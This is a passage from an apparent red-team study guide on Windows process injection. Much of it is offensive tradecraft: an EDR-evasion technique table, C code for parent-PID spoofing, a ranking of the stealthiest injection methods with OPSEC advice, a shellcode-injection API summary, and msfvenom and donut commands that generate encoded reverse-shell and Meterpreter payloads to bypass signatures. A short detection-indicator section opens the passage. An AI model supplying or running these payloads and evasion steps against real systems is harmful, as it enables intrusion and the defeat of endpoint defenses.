VirtualAllocEx(RWX) → HIGH flag (RWX = almost always bad)
WriteProcessMemory → HIGH flag (combined with above)
NtUnmapViewOfSection → Process Hollowing indicator
QueueUserAPC → APC Injection indicator
NtCreateThreadEx → More stealthy CRT alternative (still monitored)
Memory Scanning:
Anonymous RWX memory → shellcode indicator
PE headers in non-mapped mem → reflective DLL
Memory content ≠ disk file → stomping / hollowing
Unsigned code in module → stomping indicator
Behavioral:
svchost spawning cmd.exe → injection + shell
Unusual child process tree → process hollowing
Network conn from system32 → injected C2 beacon
Thread Monitoring:
Thread start address in anonymous memory → injection
Thread context modification → thread hijacking
EDR Evasion Techniques
Technique Bypasses
──────────────────────────────────────────────────────
Direct Syscalls (SysWhispers) → ntdll user-mode hooks
Indirect Syscalls → ntdll hooks + syscall origin check
Module Stomping → anonymous memory detection
Early Bird APC → CreateRemoteThread detection
Reflective DLL → disk-based DLL detection
RW→RX (no RWX) → RWX memory detection
Process Herpaderping → file-based AV scanning
Sleep obfuscation → memory scanning during sleep
Syscall SSN spoofing → static SSN detection
PPID Spoofing → process tree analysis
PPID Spoofing (Parent PID)
// Make injected process appear as child of explorer.exe
// Instead of your malicious process being parent
// Find explorer.exe PID
DWORD explorerPid = GetProcessByName("explorer.exe");
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
// PROC_THREAD_ATTRIBUTE for parent process
SIZE_T attrSize;
LPPROC_THREAD_ATTRIBUTE_LIST attrList;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(attrList, 1, 0, &attrSize);
UpdateProcThreadAttribute(attrList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
STARTUPINFOEXW si = {0};
si.StartupInfo.cb = sizeof(STARTUPINFOEXW);
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi;
CreateProcessW(L"C:\\Windows\\System32\\svchost.exe",
NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
// Process tree shows: explorer.exe → svchost.exe (looks normal!)
15. Cheat Sheet
Injection Technique Quick Selection
Goal Best Technique
──────────────────────────────────────────────────────────────
Basic / Learning Classic DLL Injection
No DLL on disk Shellcode Remote Thread
Bypass basic AV Process Hollowing
No CreateRemoteThread APC Injection / Early Bird
Stealthiest memory Module Stomping
No disk touch at all Reflective DLL Injection
Bypass ntdll hooks (EDR) Direct / Indirect Syscalls
Bypass file scanning Process Herpaderping
Most modern / universal Indirect Syscalls + Stomping
API Summary
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
VirtualAllocEx(hProc, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
WriteProcessMemory(hProc, pMem, shellcode, size, NULL)
VirtualProtectEx(hProc, pMem, size, PAGE_EXECUTE_READ, &old)
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL)
QueueUserAPC((PAPCFUNC)pMem, hThread, 0)
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc, addr, ...)
CreateProcess(target, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, ...)
SuspendThread / ResumeThread / GetThreadContext / SetThreadContext
NtUnmapViewOfSection(hProc, base)
OPSEC Quick Reference
MOST DETECTED:
CreateRemoteThread + RWX alloc ← avoid in mature environments
Classic DLL Injection ← known by every EDR
VirtualAllocEx(PAGE_EXECUTE_READWRITE) ← RWX = instant flag
MEDIUM:
Process Hollowing ← detected by advanced EDRs
Thread Hijacking ← suspicious ctx modification
APC Injection (standard) ← QueueUserAPC monitored
STEALTHIEST:
Early Bird APC ← fires before EDR hooks
Module Stomping + RW→RX ← looks like legit module
Indirect Syscalls ← bypasses ntdll hooks
Reflective DLL (no disk) ← no file artifact
Process Herpaderping ← file scanner blin
Shellcode Generation (Quick)
# Stageless reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f c
# Meterpreter staged
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw
# EXE → shellcode (Donut)
donut -i payload.exe -o shellcode.bin -a 2 -e 3
# DLL → shellcode (Donut)
donut -i payload.dll -o shellcode.bin -a 2 -c Namespace.Class -m Method
# Encode to bypass static sigs
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 \
-e x64/xor_dynamic -i 5 -f c
Find Target PID
// Find PID by process name
DWORD GetPidByName(const char* name) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnap, &pe)) {
do {
if (_stricmp(pe.szExeFile, name) == 0) {
CloseHandle(hSnap);
return pe.th32ProcessID;
}
} while (Process32Next(hSnap, &pe));
}
CloseHandle(hSnap);
return 0;
}
// Usage
DWORD pid = GetPidByName("svchost.exe");
DWORD pid = GetPidByName("explorer.exe");
DWORD pid = GetPidByName("notepad.exe");
Priority techniques to master based on your Red Team + OSCP goals:
-
Shellcode Remote Thread — simplest, understand it first — foundation of everything
-
Early Bird APC — no
CreateRemoteThread, fires before EDR hooks — go-to basic bypass -
Process Hollowing — most commonly asked about in interviews + HTB/THM
-
Direct/Indirect Syscalls — real-world EDR bypass — essential for modern red teaming
-
Module Stomping — quietest memory footprint — used in advanced C2 loaders
-
Reflective DLL — understand this to understand how Meterpreter/Cobalt Strike work internally.